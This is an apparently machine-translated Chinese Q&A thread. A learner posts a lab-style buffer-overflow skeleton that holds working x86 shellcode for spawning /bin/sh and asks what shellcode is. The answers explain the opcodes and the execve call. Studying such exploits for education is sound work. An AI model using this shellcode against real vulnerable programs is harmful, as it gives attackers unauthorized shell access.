我有这个代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
我想知道并了解更多关于这种调用expliot的代码,什么是shell代码?我如何学习编写shell代码,我想知道这些代码究竟做了什么。
答案 0 :(得分:2)
可能是一个过于宽泛的问题,但无论如何我都会为新手提供一些信息:
shellcode通常是特定于目标的语言中的一系列指令,这些指令被“写”到内存中并且旨在被执行以获得特权或操纵数据。
Shellcode是非常硬件,平台和版本特定的:如果你有一个x86处理器,你必须定位该ISA,以便在你“注入”或将主程序的执行转移到它之后让代码运行。
机器指令通常是二进制代码(或十六进制,取决于您如何表示数据)并告诉机器接下来应该做什么,您使用opcode。在上面的代码中,您正在查看指定
的操作码说:如果你真的想要解决安全领域,你需要学习很多关于编程,逆转,架构,系统内部和安全系统的知识。
至于该代码的作用:它进入系统调用并执行/bin/sh
#include <unistd.h>
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
祝你好运。
答案 1 :(得分:1)
Hacking: The Art of Exploitation的第315页很好地解释了代码的作用。